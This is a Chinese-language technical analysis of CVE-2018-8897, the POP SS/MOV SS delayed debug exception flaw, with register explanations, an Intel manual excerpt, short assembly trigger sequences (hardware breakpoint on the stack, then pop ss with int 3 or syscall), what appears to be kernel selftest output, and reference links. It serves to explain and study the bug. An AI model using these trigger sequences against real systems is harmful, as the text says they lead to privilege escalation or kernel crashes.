CVE-2018-8897:POP SS 指令异常
基础知识
相关函数:longjmp, siglongjmp, setjmp
表头文件:#include
RF 恢复(第16 位)。控制处理器对指令断点的响应。置1 则暂时禁用指令断点产生调试异常(#DE),但是其它异常情况仍可以产生异常。置0 则指令断点产生调试异常。RF 标志的主要功能是许可从调试异常(调试断点引发的)后面的那个指令开始继续执行。调试软件必须在用IRETD 指令返回到被中断程序之前,将栈中的EFLAGES 映象中的该位置为1,以阻止指令断点产生另外的调试异常。在返回并成功执行断点指令之后,处理器会自动清零该位,从而许可继续产生指令断点故障。中文手册上写的已经很明白了。再解释一下,调试中断会在执行指令前触发,但从中断返回的时候,如果不置RF的话,会再次进入调试中断,RF就是为了防止重复进入调试中断而使用的。这个寄存器与硬断点一起使用(也就是调试寄存器)。
漏洞分析
MOV SS 和POP SS指令对SS进行操作,会导致延迟产生调试异常,POP SS 指令会抑制所有中断(包括 NMI 中断),直到执行下一条指令之后。此操作可以确保依次执行 POP SS 与 MOV ESP, EBP 指令,而不会在中断期间遇到失效的堆栈。不过,使用 LSS 指令才是加载 SS 与 ESP 寄存器的首选方法。
调试异常不会因为开启EFLAGS.IF标志位而被停止
如果MOV SS 或 POP SS指令后面跟类似SYSCALL, SYSENTER, INT 3等指令,则控制权限将转移到CPL < 3,此时调试异常则会在CPL < 3的权限下被处理。
在SS被加载时就会产生#DB异常
在Windows,macOS会导致提权,对于FreeBSD和Linux kernel会导致崩溃
IF(bit 9) [Interrupt enable flag] 该标志用于控制处理器对可屏蔽中断请求(maskable interrupt requests)的响应。置1以响应可屏蔽中断,反之则禁止可屏蔽中断。
INT 01:单步中断,由T命令产生。
它的特征是将陷阱标志位TF置位,这样当程序运行时,会在每一条指令的后面产生一个单步中断,从而中止指令的继续执行
#DB
:调试异常
xor eax, eax ; Recognize pending interrupts
inc rdi ; Recognize pending interrupts
mov bx, 50h ; Recognize pending interrupts
mov ss, bx ; INTR/NMI and certain #DB held
mov esp, eax ; Recognize pending interrupts in architectural order after instruction executes
; GSBASE would ideally first be primed with
WRGSBASE in a 64 bit code segment
; Hardware breakpoint (DR0) set to memory
address where stack is, e.g. 0x401000.
call SetThreadContext
; Lets imagine that 0x401000 contains a valid SS
selector.
mov esp, 401000h
pop ss
int 3
call SetThreadContext
mov esp, 401000h
pop ss
syscall
白皮书的相关描述:
Instruction breakpoints are the highest priority debug exceptions. They are serviced before any other exceptions
detected during the decoding or execution of an instruction. However, if an instruction breakpoint is placed on an
instruction located immediately after a POP SS/MOV SS instruction, the breakpoint will be suppressed as if
EFLAGS.RF were 1 (see the next paragraph and Section 6.8.3, “Masking Exceptions and Interrupts When
Switching Stacks,” of the Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 3A).
运行结果
SS = 0x2b, &SS = 0x0x6041a8
PR_SET_PTRACER_ANY succeeded
Set up a watchpoint
DR0 = 6041a8, DR1 = 400f36, DR7 = 7000a
[RUN] Read from watched memory (should get SIGTRAP)
Got SIGTRAP with RIP=400d68, EFLAGS.RF=0
[RUN] MOV SS; INT3
Got SIGTRAP with RIP=400d7d, EFLAGS.RF=0
[RUN] MOV SS; INT 3
Got SIGTRAP with RIP=400d8f, EFLAGS.RF=0
[RUN] MOV SS; CS CS INT3
Got SIGTRAP with RIP=400da2, EFLAGS.RF=0
[RUN] MOV SS; CSx14 INT3
Got SIGTRAP with RIP=400dc1, EFLAGS.RF=0
[RUN] MOV SS; INT 4
Got SIGSEGV with RIP=400de7
[RUN] MOV SS; ICEBP
Got SIGTRAP with RIP=400e1f, EFLAGS.RF=0
[RUN] MOV SS; CLI
Got SIGSEGV with RIP=400e56
[RUN] MOV SS; #PF
Got SIGSEGV with RIP=400e8e
[RUN] MOV SS; INT 1
Got SIGSEGV with RIP=400ed1
[RUN] MOV SS; SYSCALL
[RUN] MOV SS; breakpointed NOP
Got SIGTRAP with RIP=400f37, EFLAGS.RF=0
[RUN] MOV SS; SYSENTER
Got SIGSEGV with RIP=6ad2ac89
[RUN] MOV SS; INT $0x80
[OK] I aten't dead
参考链接
https://www.triplefault.io/2018/05/spurious-db-exceptions-with-pop-ss.html
http://everdox.net/popss.pdf
https://marc.info/?l=linux-kernel&m=152580052406931
https://software.intel.com/en-us/articles/intel-sdm
http://scc.qibebt.cas.cn/docs/optimization/VTune(TM)%20User%27s%20Guide/mergedProjects/analyzer_ec/mergedProjects/reference_olh/instruct32_hh/vc245.htm
异常表:http://scc.qibebt.cas.cn/docs/optimization/VTune(TM)%20User%27s%20Guide/mergedProjects/analyzer_ec/mergedProjects/reference_olh/instruct32_hh/ra_mode_except.htm
pop ss用于反调试:https://www.symantec.com/connect/articles/windows-anti-debug-reference